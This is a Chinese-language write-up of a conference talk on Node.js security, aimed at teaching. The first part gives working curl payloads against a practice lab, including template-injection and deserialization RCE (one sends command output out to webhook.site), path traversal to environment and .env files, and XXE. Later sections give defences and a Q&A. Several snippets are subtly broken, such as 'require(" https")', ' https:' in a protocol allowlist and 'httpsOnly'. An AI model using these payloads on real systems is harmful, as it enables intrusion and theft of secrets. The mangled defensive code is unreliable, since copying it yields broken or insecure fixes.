💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」
「你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。」
「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」
JsRender – 讀取 /etc/passwd:
curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
-H "Content-Type: application/json" \
-d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'
PugJS – 建立檔案:
curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
-H "Content-Type: application/json" \
-d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'
Nunjucks – 讀取 /etc/passwd:
curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
-H "Content-Type: application/json" \
-d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'
⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。」
3.2 不安全的反序列化
Lab 路徑:https://nodelab.feifei.tw/api/serialize
漏洞程式碼:
const serialize = require('node-serialize');
app.post('/api/serialize', (req, res) => {
const data = serialize.unserialize(req.body); // 危險!
res.json(data);
});
攻擊 Payload:
基本測試:
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"key":"value"}'
RCE – Console.log:
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'
RCE – 讀取系統資訊(Out-of-Band):
# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'
3.3 Prototype Pollution(原型污染)
概念說明:
JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。
漏洞程式碼:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
攻擊 Payload:
{
"__proto__": {
"isAdmin": true
}
}
影響:
const user = {};
console.log(user.isAdmin); // true(被污染了!)
3.4 Path Traversal(路徑穿越)
Lab 路徑:https://nodelab.feifei.tw/api/pathTraversal
漏洞程式碼:
app.get('/api/pathTraversal', (req, res) => {
const filename = req.query.filename;
const content = fs.readFileSync(./upload/${filename}, 'utf8');
res.send(content);
});
攻擊 Payload:
正常存取:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"
讀取 /etc/passwd:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"
讀取環境變數:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"
讀取程式碼:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"
3.5 Cache Pollution(快取污染)
Lab 路徑:https://nodelab.feifei.tw/api/cache
攻擊流程:
Step 1:清除快取
curl https://nodelab.feifei.tw/api/cache/flush
Step 2:確認快取為空
curl https://nodelab.feifei.tw/api/cache/getallvalue
Step 3:注入惡意腳本
curl -H "User-Agent: <script>alert('Hacked')</script>" \
https://nodelab.feifei.tw/api/cache/
Step 4:檢查快取內容
curl https://nodelab.feifei.tw/api/cache/getallvalue
3.6 XXE(XML 外部實體注入)
Lab 路徑:https://nodelab.feifei.tw/load_xml
攻擊 Payload:
curl -X POST https://nodelab.feifei.tw/load_xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'
第二部分:防禦者視角
四、Express 框架安全加固
4.1 使用 Helmet
const helmet = require('helmet');
app.use(helmet());
Helmet 會自動設定多個安全標頭:
- Content-Security-Policy
- X-Content-Type-Options: nosniff
- X-Frame-Options: DENY
- X-XSS-Protection
4.2 隱藏技術資訊
app.disable('x-powered-by');
4.3 修改 Session 名稱
app.use(session({
name: 'sessionId', // 不要用預設的 connect.sid
secret: process.env.SESSION_SECRET,
cookie: {
httpsOnly: true,
secure: true,
sameSite: 'strict'
}
}));
💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」
「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」
偽裝成其他技術(不建議,但有趣):
app.use(session({
name: 'PHPSESSID', // 偽裝成 PHP
// ...
}));
4.4 輸入驗證
const { body, validationResult } = require('express-validator');
app.post('/api/user',
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 12 }),
body('username').trim().escape(),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 處理請求...
}
);
五、防禦特定漏洞
5.1 防禦 SQL Injection
// 使用參數化查詢
const { rows } = await db.query(
'SELECT * FROM articles WHERE id = $1',
[req.params.id]
);
// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);
5.2 防禦 XSS
const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');
// 方法一:HTML 實體編碼
const safe = he.encode(userInput);
// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);
// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);
5.3 防禦 Prototype Pollution
// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);
// 方法二:凍結原型
Object.freeze(Object.prototype);
// 方法三:過濾危險屬性
function safeAssign(target, source) {
const dangerous = ['__proto__', 'constructor', 'prototype'];
for (let key in source) {
if (dangerous.includes(key)) continue;
target[key] = source[key];
}
return target;
}
5.4 防禦 SSRF
const { URL } = require('url');
const allowedHosts = ['api.example.com', 'data.example.com'];
app.get('/fetch', async (req, res) => {
const { url } = req.query;
try {
const parsedUrl = new URL(url);
// 白名單驗證
if (!allowedHosts.includes(parsedUrl.hostname)) {
return res.status(403).send('Access denied');
}
// 只允許 HTTP/HTTPS
if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
return res.status(400).send('Invalid protocol');
}
const response = await axios.get(url);
res.json(response.data);
} catch (error) {
res.status(400).send('Invalid URL');
}
});
5.5 防禦 Path Traversal
const path = require('path');
app.get('/api/file', (req, res) => {
const filename = req.query.filename;
// 只取檔名,移除路徑
const safeFilename = path.basename(filename);
// 確認路徑在允許的目錄內
const filePath = path.join(__dirname, 'upload', safeFilename);
const uploadDir = path.join(__dirname, 'upload');
if (!filePath.startsWith(uploadDir)) {
return res.status(403).send('Access denied');
}
// 讀取檔案...
});
第三部分:Lab 路徑總整理
| 漏洞類型 | Lab 路徑 | HTTP 方法 |
|---|---|---|
| SQL Injection | /api/articles/:id | GET |
| XSS(反射型) | /search?keyword= | GET |
| XSS(DOM-based) | /form | GET/POST |
| JWT 誤用 | /api/auth/login | POST |
| 敏感資料洩露 | /api/users/:id | GET |
| SSRF | /fetch?url= | GET |
| SSTI – JsRender | /ssti/JsRender-demo | POST |
| SSTI – PugJS | /ssti/PugJS-demo | POST |
| SSTI – Nunjucks | /ssti/Nunjucks-demo | POST |
| 反序列化 | /api/serialize | POST |
| Path Traversal | /api/pathTraversal?filename= | GET |
| Cache Pollution | /api/cache/ | GET |
| XXE | /load_xml | POST |
| NoSQL Injection | /api/product/filter?category= | GET |
| 檔案上傳 | /upload | GET/POST |
| CRLF Injection | /redirect?url= | GET |
結論:Node.js Matters?
對攻擊者而言
是的,但不是全部。
- 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
- 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
- 這 20-30% 往往可以導致 RCE(遠端程式碼執行)
對防禦者而言
是的,請擁抱你的技術。
- 理解 Node.js 的安全特性
- 建立 Node.js 特定的安全檢查清單
- 善用生態系統:helmet、express-validator、npm audit
💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」
安全的本質沒有變
無論使用什麼語言:
- 永遠不信任使用者輸入
- 最小權限原則
- 深度防禦
參考資源
- OWASP Web Security Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- OWASP Node.js Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html
- Express Security Best Practices: https://expressjs.com/en/advanced/best-practice-security.html
- 練習環境: https://nodelab.feifei.tw
- GitHub: https://github.com/fei3363/ithelp_web_security_2024
本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。
附錄:Q&A 精選
以下是演講後的 Q&A 環節精華:
Q1:被雜湊過的密碼還可以利用嗎?
💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」
「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」
密碼破解工具:
- Hashcat:本地端 GPU 加速破解
- John the Ripper:經典密碼破解工具
- CMD5.com:線上雜湊查詢服務(彩虹表)
Q2:Vibe Coding 造成很多漏洞,怎麼看?
💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」
「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」
「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」
講者本次示範的程式碼:
「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」
Q3:有什麼破壞不可否認性的案例嗎?
💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」
「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」
日誌安全建議:
- 不要在日誌中記錄敏感資訊(密碼、Token)
- 將日誌傳送到獨立的日誌伺服器
- 設定日誌不可刪除(append-only)
- 定期備份日誌
Q4:MCP 有成熟的攻擊語法跟注入方法嗎?
💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」
「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」
MCP 安全建議:
- 只使用可信來源的 MCP
- 檢查 MCP 請求的權限範圍
- 在沙盒環境中測試新的 MCP
- 定期審查已安裝的 MCP
Q5:有推薦的掃描工具嗎?
💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」
推薦工具清單:
| 類型 | 工具 | 說明 |
|---|---|---|
| 黑箱測試 | OWASP ZAP | 免費開源,功能強大 |
| 黑箱測試 | Burp Suite | 業界標準,有免費版 |
| 白箱測試 | SonarQube | 程式碼品質與安全掃描 |
| 白箱測試 | Snyk | npm 套件漏洞掃描 |
| 依賴檢查 | npm audit | Node.js 內建 |
| AI 輔助 | GitHub Copilot | 可以幫忙找漏洞 |
講者提醒
「大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」
「回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」
「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」